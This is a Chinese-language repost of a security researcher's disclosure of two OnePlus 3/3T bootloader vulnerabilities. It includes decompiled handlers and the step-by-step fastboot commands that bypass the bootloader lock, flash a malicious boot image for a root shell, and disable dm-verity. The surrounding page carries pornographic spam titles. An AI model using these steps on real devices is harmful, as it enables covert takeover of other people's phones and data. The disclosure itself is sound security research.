成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

獲取已鎖定的OnePlus 3/3T:引導加載程序漏洞

安全 漏洞
在這篇文章中,我公開了OnePlus 3/3T引導加載程序中的兩個漏洞。

[[183423]]

前言

在這篇博文中,我公開了OnePlus 3/3T引導加載程序中的兩個漏洞。第一個CVE-2017-5626是影響OxygenOS 3.2-4.0.1(4.0.2修補)的高危漏洞。該漏洞允許一個物理對手(或使用ADB/ FASTBOOT訪問)來繞過bootloader的鎖定狀態,即使Allow OEM Unlocking被禁用,無需用戶確認并不會觸發出廠重置。該漏洞允許內核代碼執行(盡管啟動時有5秒警告)。第二個漏洞CVE-2017-5624影響至今OxygenOS的所有版本,允許攻擊者禁用dm-verity。這些漏洞的組合實現了強大的攻擊 - 持久化的高權限代碼執行,而不向用戶發出任何警告,并且能夠訪問原始用戶的數據(在受害者輸入其憑據后)。

OnePlus Security披露和承認了這兩個漏洞。第一個漏洞CVE-2017-5626于1月23日被披露。它也是由OnePlus工程師獨立發現的。CVE-2017-5624于1月16日被披露,在未來的OxygenOS版本中得到修復 -今天的公開它的原因是因為已經有人在1月24日公布它了。

免責聲明:我只測試了OnePlus 3,但OnePlus 3T也包含漏洞。

繞過引導加載程序鎖(CVE-2017-5626)

OnePlus 3 &3T運行OxygenOS 3.2 - 4.0.1系統,它有兩個專用的FASTBOOT oem命令:

1. fastboot oem 4F500301-繞過bootloader的鎖-允許使用FASTBOOT訪問來解鎖設備,無視OEM Unlocking,并無需用戶確認,沒有用戶數據擦除(正確的解鎖后通常會發生)。此外,在運行此命令后設備仍然報告處于鎖定狀態。

2. fastboot oem 4F500302 - 重置各種引導加載程序設置。例如,它將鎖定未加鎖的引導加載程序,無需用戶確認。

分析引導程序二進制表明其處理程序4F500301的命令非常簡單:

  1. // 'oem 4F500301' handler 
  2. int sub_918427F0() 
  3.   magicFlag_dword_91989C10 = 1; 
  4.   if ( dword_9198D804 != dword_9198D804 ) 
  5.     assert(1, dword_9198D804, dword_9198D804); 
  6.   return sendOK((int)"", dword_9198D804); 

因此,它在91989C10設置了某些全局標志(我們命名為magicFlag)。通過觀察其處理格式/擦除FASTBOOT命令的過程,我們可以清楚地看到在幾項檢查之后,magicFlag覆蓋設備的鎖定狀態-刷入或刪除分區:

  1. // 'flash' handler 
  2. const char *__fastcall sub_91847EEC(char *partitionName, int *a2, int a3) 
  3.   char *pname; // r5@1 
  4. ... 
  5.   pname = partitionName
  6.   v4 = a2
  7.   v5 = a3
  8.   if ( returnTRUE1(partitionName, (int)a2) ) 
  9.   { 
  10.     result = (const char *)sub_918428F0(pname, v6); 
  11.     if ( (result || magicFlag_dword_91989C10) 
  12.       && ((result = (const char *)sub_91842880(pname, v10)) != 0 || magicFlag_dword_91989C10) ) 
  13.     { 
  14.       result = (const char *)sub_918428F0(pname, v10); 
  15.       if ( !result || magicFlag_dword_91989C10 ) 
  16.         goto LABEL_7; 
  17.       v8 = dword_9198D804
  18.       if ( dword_9198D804 != dword_9198D804 ) 
  19.         goto LABEL_28; 
  20.       v11 = "Critical partition flashing is not allowed"
  21.     } 
  22.     else 
  23.     { 
  24.       v8 = dword_9198D804
  25.       if ( dword_9198D804 != dword_9198D804 ) 
  26.         goto LABEL_28; 
  27.       v11 = "Partition flashing is not allowed"
  28.     } 
  29.     return (const char *)FAIL2((int)v11, v10); 
  30.   } 
  31. LABEL_7: 
  32.   ... 
  33.     if ( *v4 != 0xED26FF3A ) 
  34.     { 
  35.       if ( *v4 == 0xCE1AD63C ) 
  36.         cmd_flash_meta_img(pname, (unsigned int)v4, v5); 
  37.       else 
  38.         cmd_flash_mmc_img(pname, (int)v4, v5); 
  39.       goto LABEL_10; 
  40.     } 
  41.     v7 = v4
  42.   } 
  43.   cmd_flash_mmc_sparse_img(pname, (int)v7, v5); 
  44.   ... 
  45.  } 
  46. // 'erase' handler 
  47. int __fastcall sub_91847118(char *partitionName, int a2, int a3) 
  48.  ... 
  49.   v3 = partitionName
  50.   v4 = returnTRUE1(partitionName, a2); 
  51.   if ( !v4 ) 
  52.   { 
  53. LABEL_7: 
  54.     ... 
  55.     if ( v4 ) 
  56.     { 
  57.       if ( dword_9198D804 == dword_9198D804 ) 
  58.         return eraseParition(v3); 
  59.     } 
  60.     ... 
  61.   } 
  62.   v4 = sub_918428F0(v3, v5); 
  63.   if ( !v4 && !magicFlag_dword_91989C10 ) 
  64.   { 
  65.     v6 = dword_9198D804
  66.     if ( dword_9198D804 == dword_9198D804 ) 
  67.     { 
  68.       v7 = "Partition erase is not allowed"
  69.       return FAIL2((int)v7, v5); 
  70.     } 
  71.     goto LABEL_23; 
  72.   } 
  73.   v4 = sub_91842880(v3, v5); 
  74.   if ( !v4 && !magicFlag_dword_91989C10 ) 
  75.   { 
  76.     v6 = dword_9198D804
  77.     if ( dword_9198D804 == dword_9198D804 ) 
  78.     { 
  79.       v7 = "Partition flashing is not allowed"
  80.       return FAIL2((int)v7, v5); 
  81.     } 
  82. LABEL_23: 
  83.     assert(v4, v5, v6); 
  84.   } 
  85.   v4 = sub_918428F0(v3, v5); 
  86.   if ( !v4 || magicFlag_dword_91989C10 ) 
  87.     goto LABEL_7; 
  88.   v6 = dword_9198D804
  89.   ... 
  90.   v7 = "Critical partition erase is not allowed"
  91.   return FAIL2((int)v7, v5); 

利用CVE-2017-5626進行內核代碼執行

通過利用此漏洞,攻擊者可以刷入惡意引導映像(其中包含兩個內核和Root RAMFS)來得到自身的平臺。但問題是,引導程序和平臺檢測這樣的修改,這被稱為驗證啟動。引導加載程序驗證boot和recovery分區-刷入一個修改的boot分區,例如,會在引導時提示以下警告:

http://p2.qhimg.com/t01db028d604784e059.jpg

另一個不會觸發此警告的選項是刷入舊的未修改的引導映像 - 較舊的映像包含可被攻擊者利用的已知安全漏洞。

總之,盡管有警告(5秒后自動消失),OnePlus 3 / 3T仍然允許在紅色驗證狀態啟動,因此攻擊者的代碼得到執行。

有無數的方法來證明這種情況的嚴重性,所以我選擇了最簡單的方法。

通過修改引導映像:

1. 我添加androidboot.selinux=permissive到內核命令行來設置SELinux的permissive模式。

2. 我已經修改了ramfsST ro.debuggable=1,ro.secure=0,ro.adb.secure=0,并改變了USB配置屬性(sys.usb.config),包括啟動adb。

然后,我利用此漏洞,刷入修改后的boot.img(evil_boot.img):

  1. λ fastboot flash boot evil_boot.img 
  2. target reported max download size of 440401920 bytes 
  3. sending 'boot' (14836 KB)... 
  4. OKAY [  0.335s] 
  5. writing 'boot'... 
  6. FAILED (remote: Partition flashing is not allowed) 
  7. finished. total time: 0.358s 
  8. λ  fastboot oem 4F500301 
  9. ... 
  10. OKAY [  0.020s] 
  11. finished. total time: 0.021s 
  12. λ fastboot flash boot  evil_boot.img 
  13. target reported max download size of 440401920 bytes 
  14. sending 'boot' (14836 KB)... 
  15. OKAY [  0.342s] 
  16. writing 'boot'... 
  17. OKAY [  0.135s] 
  18. finished. total time: 0.480s 

于是我得到了一個root shell,甚至在用戶輸入他的憑據之前:

  1. OnePlus3:/ # id 
  2. uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb), 
  3. 1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt), 
  4. 3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 
  5. OnePlus3:/ # getenforce 
  6. Permissive 

OnePlus 3 / 3T內核似乎是在啟用LKM的情況下編譯的,因此運行內核代碼甚至不需要修補/重新編譯內核。

所以我創建了一個小的內核模塊:

  1. #include <linux/module.h> 
  2. #include <linux/kdb.h> 
  3. int init_module(void) 
  4.     printk(KERN_ALERT "Hello From Kernel\n"); 
  5.     return 1; 

然后將其加載到內核中:

  1. OnePlus3:/data/local/tmp # insmod ./test.ko 
  2. OnePlus3:/data/local/tmp # dmesg | grep Hello 
  3. [19700121_21:09:58.970409]@3 Hello From Kernel 

禁用dm-verity(CVE-2017-5624)

system分區的驗證,不是boot&recovery,是通過dm-verity驅動的。我們發現可以命令一個已鎖定引導程序喚醒該平臺,使用另一個FASTBOOT命令禁止dm-verity:fastboot oem disable_dm_verity。

該oem disable_dm_verity處理程序如下:

  1. // 'oem disable_dm_verity' handler 
  2. int sub_9183B8EC() 
  3.   int v0; // r0@1 
  4.   int v1; // r1@1 
  5.   dmVerity_dword_91960740 = 0; 
  6.   v0 = sub_91845E10("ANDROID-BOOT!"); 
  7.   if ( dword_9198D804 != dword_9198D804 ) 
  8.     assert(v0, v1, dword_9198D804); 
  9.   return sendOK((int)"", v1); 

又一次,91960740設置了一些標志(我們稱為dmVerity)。引導加載程序構建內核cmdline時會使用它:

http://p7.qhimg.com/t01b14eedf65f4ff841.png

androidboot.enable_dm_verity內核命令行參數傳遞到ro.boot.enable_dm_verity,然后指示OnePlus的init,是否要禁用dm-verity:

2個漏洞組合利用

這兩個漏洞可以組合在一起,用于具有特權的SELinux域代碼執行,而不向用戶發出任何警告并訪問原始用戶數據。為了演示這一點(可能有成千上萬更好的方法與更高的嚴重性),我修改了系統分區,添加了一個特權應用程序。可以在/system/priv-app/目錄下放置APK下,最終將導致它被添加到priv_app域中。

  1. λ fastboot flash system system-modded.simg 
  2. target reported max download size of 440401920 bytes 
  3. erasing 'system'... 
  4. FAILED (remote: Partition erase is not allowed) 
  5. finished. total time: 0.014s 
  6. λ fastboot oem 4F500301 
  7. OKAY 
  8. [  0.020s] finished. total time: 0.021s 
  9. λ fastboot flash system system-modded.simg 
  10. target reported max download size of 440401920 bytes erasing 'system'... 
  11. OKAY [  0.010s] 
  12. ... 
  13. sending sparse 'system' 7/7 (268486 KB)... 
  14. OKAY [  6.748s] 
  15. writing 'system' 7/7... 
  16. OKAY [  3.291s] 
  17. finished. total time: 122.675s 
  18. λ fastboot oem disable_dm_verity 
  19. ... 
  20. OKAY 
  21. [  0.034s] finished. total time: 0.036s 

事實上,加載priv_app的應用程序上下文如下:

  1. 1|OnePlus3:/ $ getprop | grep dm_verity 
  2. [ro.boot.enable_dm_verity]: [0] 
  3. OnePlus3:/ $ ps -Z | grep roeeh 
  4. u:r:priv_app:s0:c512,c768      u0_a16    4764  2200  1716004 74600 SyS_epoll_ 0000000000 S roeeh.fooapp 
責任編輯:趙寧寧 來源: 安全客
相關推薦

2023-07-25 15:18:42

2023-02-14 17:11:50

開源鴻蒙刷機指南

2020-07-10 09:00:31

硬盤數據SSD

2022-07-07 09:27:26

Syslinux加載程序

2015-09-09 11:05:52

3d視差引導頁

2010-05-10 14:58:29

Unix系統

2018-04-25 10:51:58

2016-09-06 19:17:32

LFCS加載程序Linux

2021-12-08 16:07:12

Palo Alto N

2011-03-25 16:28:46

漏洞掃描系統

2024-05-30 17:43:38

2024-06-19 16:25:42

2025-04-15 06:30:00

黑客漏洞網絡安全

2024-02-01 09:10:04

頁面引導工具Vue3

2024-12-30 14:42:28

2019-02-13 10:59:51

2021-01-19 10:58:15

漏洞管理漏洞數據泄露

2011-05-23 16:40:50

Ubuntu 11.1Gnome 3

2017-09-13 15:29:22

2011-03-23 13:44:24

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 男人av的天堂 | 777zyz色资源站在线观看 | 中国人pornoxxx麻豆 | 极品的亚洲 | 九九久久这里只有精品 | 久久成人一区 | 精品一二三区 | 亚洲视频精品 | 一区二区在线 | 成人区一区二区三区 | 天天干干 | 国产精品久久亚洲 | 欧美一级视频在线观看 | 美女天堂 | 欧美精品在线一区 | 999www视频免费观看 | 日本a∨精品中文字幕在线 亚洲91视频 | 日韩at| 一级毛片免费 | 日韩男人天堂 | 国产成人免费视频网站视频社区 | 国产免费让你躁在线视频 | 国产视频中文字幕 | 国内精品视频免费观看 | 亚洲精品久久国产高清情趣图文 | 国产精品久久久久久一区二区三区 | 久久33| 特级做a爰片毛片免费看108 | 欧美日韩精品久久久免费观看 | 国产中文 | 日日人人 | 日韩在线观看一区 | 涩爱av一区二区三区 | 日韩综合色| 国内自拍偷拍视频 | 天堂久久av| 久草色播 | 国产精品久久久久久久久大全 | 日韩综合一区 | av色站 | 风间由美一区二区三区在线观看 |